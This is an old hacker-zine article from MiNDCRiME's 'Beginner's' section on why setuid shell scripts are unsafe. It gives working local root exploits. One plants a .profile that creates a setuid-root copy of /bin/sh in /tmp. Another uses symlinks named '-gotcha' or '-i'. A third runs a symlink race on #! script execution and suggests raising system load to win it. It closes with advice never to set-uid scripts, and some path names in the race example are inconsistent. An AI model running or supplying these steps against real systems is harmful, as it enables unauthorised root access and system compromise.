95 lines
3.7 KiB
Plaintext
95 lines
3.7 KiB
Plaintext
|
=================================[MiNDCRiME]==================================
|
||
|
[FiLE #3:]
|
||
|
[I'd like to remind folks that this is the "Beginner's" section. Most of
|
||
|
you will know this. I don't need to hear colorful remarks about
|
||
|
how "old" this is. -hc]
|
||
|
|
||
|
"Why shell scripts with the set-user-id bit set aren't safe?"
|
||
|
by zomo
|
||
|
|
||
|
Most shells will run as a login shell if the first character of their
|
||
|
argv[0] starts with a '-'. This is how login manages to give you a login
|
||
|
shell (check login.c). It calls csh as '-csh'. One of the things that a
|
||
|
login shell does is read your .profile or .cshrc.
|
||
|
|
||
|
On some systems, the shell is stupid enough to read and run $HOME/.profile
|
||
|
(or equivalent) even if it is running set-uid (effective uid != real uid).
|
||
|
|
||
|
So,
|
||
|
% ls -l /usr/local/bin/setuid-shell-script
|
||
|
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
|
||
|
% cat > .profile << _EOF_
|
||
|
cp /bin/sh /tmp/fuck
|
||
|
chown root.wheel /tmp/fuck
|
||
|
chmod 4755 /tmp/fuck
|
||
|
_EOF_
|
||
|
% ln -s /usr/local/bin/setuid-shell-script -gotcha
|
||
|
% ./-gotcha
|
||
|
% /tmp/fuck
|
||
|
#
|
||
|
|
||
|
You got it! And there is another easy-to-exploit bug with set-uid shell
|
||
|
script.
|
||
|
% ls -l /usr/local/bin/setuid-shell-script
|
||
|
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
|
||
|
% ln -s /usr/local/bin/setuid-shell-script -i
|
||
|
% ./-i
|
||
|
#
|
||
|
Try it and think how it works (or it doesn't work ;) ).
|
||
|
|
||
|
Now for the second security hole. It works on almost all #! systems.
|
||
|
Not only with shell scripts. When the kernel execs a file, it looks for
|
||
|
a magic number in the first two bytes ( try % man a.out ). If the magic
|
||
|
number is '#!', then it takes the next one or two tokens, execs file
|
||
|
into which token parsed, with the full pathname of the script as an
|
||
|
argument. ( get the kernel source of BSD unix and check exec.c )
|
||
|
So if /user/crash/dummies starts with:
|
||
|
|
||
|
#!/bin/sh
|
||
|
then the kernel, in the process of loading this, would do:
|
||
|
execute "/bin/sh /user/crash/dummies". In other words, /bin/sh would
|
||
|
have /user/crash/dummies as argv[0]. If it was
|
||
|
#!/bin/csh -f
|
||
|
then the kernel would execs "/bin/csh -f /user/crash/dummies"
|
||
|
|
||
|
The important thing to note here is that the shell re-opens the file
|
||
|
fo itself. The kernel does not pass an open file descripter to shell.
|
||
|
The race condition arises here.
|
||
|
|
||
|
% ls -l /usr/local/bin/setuid-shell-script
|
||
|
-rwsr-xr-x 1 root 51763 Nov 16 1993 setuid-shell-script
|
||
|
% ln -s /usr/local/bin/setuid-shell-script hack-link
|
||
|
% cat > hack-commands << _EOF_
|
||
|
cp /bin/sh /tmp/fuck
|
||
|
chown root.wheel /tmp/fuck
|
||
|
chmod 4755 /tmp/fuck
|
||
|
_EOF_
|
||
|
% ./hack-link
|
||
|
|
||
|
So the kernel stat()s hack-link. stat() follows the link and see the
|
||
|
set-uid bit set with setuid-shell-script and the owner being root. So
|
||
|
the kernel sets uid to root (check exec.c, you can find this routine).
|
||
|
Then it executes the following command:
|
||
|
|
||
|
/bin/sh /user/danny/hack-link
|
||
|
with uid set to 0.
|
||
|
The uid-zero shell opens /user/danny/hack-link. The open() follows the
|
||
|
link and opens the file at the other end (/usr/local/bin/setuid-shell-script)
|
||
|
and executes the commands from it. Still no security hole.
|
||
|
But what if while the kernel was doing this, you did:
|
||
|
% rm mylink; ln -s /user/danny/hack-commands /usr/danny/hack-link
|
||
|
Now when the kernel followed hack-link,
|
||
|
it found /usr/local/bin/setuid-shell-script. So it set uid to 0. But the
|
||
|
time the /bin/sh follwed hack-link to open it, it find it was linked to
|
||
|
hack-commands, not /usr/local/bin/setuid-shell-script. So it execute
|
||
|
hack-commands as root.
|
||
|
|
||
|
Now you will almost certainly not win such a race with the kernel.
|
||
|
|
||
|
But you can increase the probability of win a race by increasing
|
||
|
system load (i.e. execute X application, compute complex math problem)
|
||
|
and doing race with fast and optimized C program.
|
||
|
|
||
|
The moral of story: DO NOT SET-UID ANY SCRIPTS.
|
||
|
|